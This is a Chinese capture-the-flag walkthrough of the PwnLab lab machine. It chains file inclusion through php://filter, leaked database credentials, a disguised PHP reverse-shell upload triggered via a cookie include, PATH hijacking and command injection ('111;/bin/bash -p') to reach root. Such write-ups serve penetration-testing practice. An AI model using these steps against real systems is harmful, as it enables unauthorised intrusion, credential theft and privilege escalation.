PwnLab详细解答

devtools/2025/2/27 16:11:19/

一、主机发现

arp-scan -l

靶机ip:192.168.55.153

二、端口识别、目录枚举、指纹识别

2.1端口识别

nmap -p- 192.168.55.153

2.2目录枚举

dirb http://192.168.55.153

枚举出来的敏感目录找到了文件上传网站和上传的地址

2.3指纹识别

nmap 192.168.55.153 -sV -sC -O --version-all

三、进入页面进行信息收集,反弹shell

进入靶机页面,发现需要登录才可以上传文件

接下来就要尝试怎么登录,这里尝试了sql注入,发现没有报错,bp抓包然后尝试了一下弱口令,也没有弱口令

注意到登录的url中含有page,有可能存在文件包含漏洞,可以进行尝试

尝试一下简单的目录穿越

没有出数据

这时注意到网页是php语言写的,可以尝试php的伪协议

尝试pp伪协议读取login页面的源码

http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=login
随后将页面爆出的内容进行base64解码

查看源码发现包含了config.php文件,尝试读取config.php文件

http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=config.php(失败)
http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=config(成功)
此靶机读取文件时不能加文件的后缀

读取后的文件解码后发现是数据库的账号密码

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?

连接数据库,找到账号密码

mysql -h 192.168.55.153 -uroot  -p
密码:H4u%QJ_H99
show databases;
use Users;
show tables;
select * from users;

看着像base64,解密得

kent
JWzXuBJJNy
mike
SIfdsTEn6I
kane
iSv5Ym2GRo

发现使用kent登陆成功

接着上传文件,然后反弹shell试试

首先查看一下上传文件的源码

http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=upload

发现使用白名单进行过滤了

找到kali的反弹shell文件(/usr/share/webshells/php)

反弹shell文件要更改攻击机ip和端口

重新创建一个1.php文件,在文件头添加GIF89a绕过对文件头的检验,将php-reverse-shell.php文件全部复制到1.php文件中,然后将后缀改为jpg绕过检验

在文件上传接口进行上传

第二步dirb扫描出来的地址发现上传成功

现在的问题就是怎么访问该文件

分析index.php文件,发现cookie中存在lang这个参数

代码分析:
include("lang/".$_COOKIE['lang']);:这行代码使用include语句来包含一个语言文件。它使用$_COOKIE['lang']的值构建文件路径,并将该文件包含到当前的代码文件中。

基于此,我们可以更改cookie中的lang参数进行反弹shell

先去查看文件上传的地址

http://192.168.55.153/upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

然后使用hackbar进行修改cookie

lang=../upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

四、提权

系统存在python,可以将shell升级为交互式shell

which python
python -c 'import pty; pty.spawn("/bin/bash")'

在此用户下没找到有用信息,尝试使用su命令进入kent、mike、kane,发现只有mike用户进不去

进入kane用户中,发现目录下有一个文件

执行一下该文件发现该文件中cat命令是用mike用户的shell执行的

查看一下该文件,发现存在一个命令

尝试执行,发现权限不够

刚刚的文件乱码了,可以使用strings命令查看二进制文件

strings msgmike

发现这里使用cat命令,我们可以使用环境变量劫持提权

补充知识:
这里使用cat命令,我们可以在此目录下再创建一个cat文件,文件中写入打开shell的命令并将该文件放到环境变量$PATH的首位,这样系统在执行cat /home/mike/msg.txt命令时会先在当前目录中寻找cat指令,找不到再去PATH中寻找cat指令,这样就达到了‘提权’的目的

开始前我们要提前看一下mike的shell是哪种类型的

cat /etc/passwd

提权命令如下:

echo "/bin/bash" >cat
chmod 777 cat
export PATH=/home/kane:$PATH
./msgmike

拿到mike用户的shell

因为该文件的所有用户以及所有组为mike,当我们运行该文件时,执行我们创建的cat文件里的bin/bash文件为mike权限,故我们的用户切换为了mike

当我们用cd切换到当前用户目录时,发现我们还是处在kane目录下,因为我们现在本质上还是kane用户,我们只不过是劫持了msgmike文件中的cat命令,又因为msgmike文件归属于mike,所以我们现在拥有了mike所拥有的权限

然后我们可以手动切换到/home/mike目录下,查看文件,发现有一个msg2root文件,使用strings命令进行查看

发现该文件是给root用户发消息的

执行该文件可以使用;进行分割命令

111;/bin/bash -p(-p为用最高权限开启)

成功提权!


http://www.ppmy.cn/devtools/163105.html

相关文章

JavaWeb后端基础(1)

我直接从后端开始做笔记&#xff0c;前面的HTML、CSS、JS、Vue、Ajax先跳过&#xff0c;直接从maven开始 我只是简单的记录大致 帮助回想 不适合进行学习 Maven Maven的作用&#xff1a;依赖管理、项目构建、统一项目结构 依赖管理&#xff1a;方便快捷的管理项目依赖的资…

DeepSeek 与网络安全:AI 在网络安全领域的应用与挑战

&#x1f4dd;个人主页&#x1f339;&#xff1a;一ge科研小菜鸡-CSDN博客 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; 1. 引言 在当今数字化时代&#xff0c;网络安全已成为国家、企业和个人面临的重要挑战。从传统的病毒、木马攻击&#xff0c;到高…

提升数据洞察力:五款报表软件助力企业智能决策

概述 随着数据量的激增和企业对决策支持需求的提升&#xff0c;报表软件已经成为现代企业管理中不可或缺的工具。这些软件能够帮助企业高效处理数据、生成报告&#xff0c;并将数据可视化&#xff0c;从而推动更智能的决策过程。 1. 山海鲸报表 概述&#xff1a; 山海鲸报表…

domain 网络安全 网络安全域

&#x1f345; 点击文末小卡片 &#xff0c;免费获取网络安全全套资料&#xff0c;资料在手&#xff0c;涨薪更快 文章目录 1、域的概述 1.1、工作组与域1.2、域的特点1.3、域的组成1.4、域的部署概述1.5、活动目录1.6、组策略GPO 2、域的部署实验 2.1、建立局域网&#xf…

前端监控与埋点

一、概念 前端埋点是指在网页或者应用程序中插入特定的代码&#xff0c;用于收集用户的行为数据并发送给服务器进行分析。这些数据可以包括用户的点击、浏览、输入等操作&#xff0c;帮助开发者了解用户在其网站中的行为&#xff0c;从而进行针对性的优化和改进。 前端埋点通…

使用自制工具类实现安全的密码加密与校验

在现代应用中&#xff0c;密码的安全性至关重要。为了保护用户密码&#xff0c;我们通常会对密码进行加密存储&#xff0c;并在用户登录时进行校验。本文将介绍如何使用 PasswordEncryptionUtil 工具类实现密码的加密与校验。 工具类介绍 PasswordEncryptionUtil 是一个基于 B…

Origin 2024绘图与数据分析下载|附安装包+学习教程

如大家所了解的&#xff0c;Origin是一款图形可视化和数据分析软件&#xff0c;它是为初学者提供了使用的界面&#xff0c;并且随着用户对应用程序的日益熟还可以执行高等自定义。软件具有大量2D和3D绘图模板。 Origin主要应用&#xff1a; 绘图 凭借100多种内置和扩展的图表…

2025年第16届蓝桥杯嵌入式竞赛学习笔记(十):ADC测量电压

1.原理图 VDD的最大值为3.3V&#xff0c;所以PB15测量电压值的范围为0~3.3V&#xff0c;然后它读取到的AD值为0~4096&#xff0c;所以电压测量公式为 为什么是4096&#xff0c;因为ADC是一个12比特的 2.CubeMX配置 将PB15引脚配置为ADC2_IN15&#xff0c;PB12配置为ADC1_IN11 …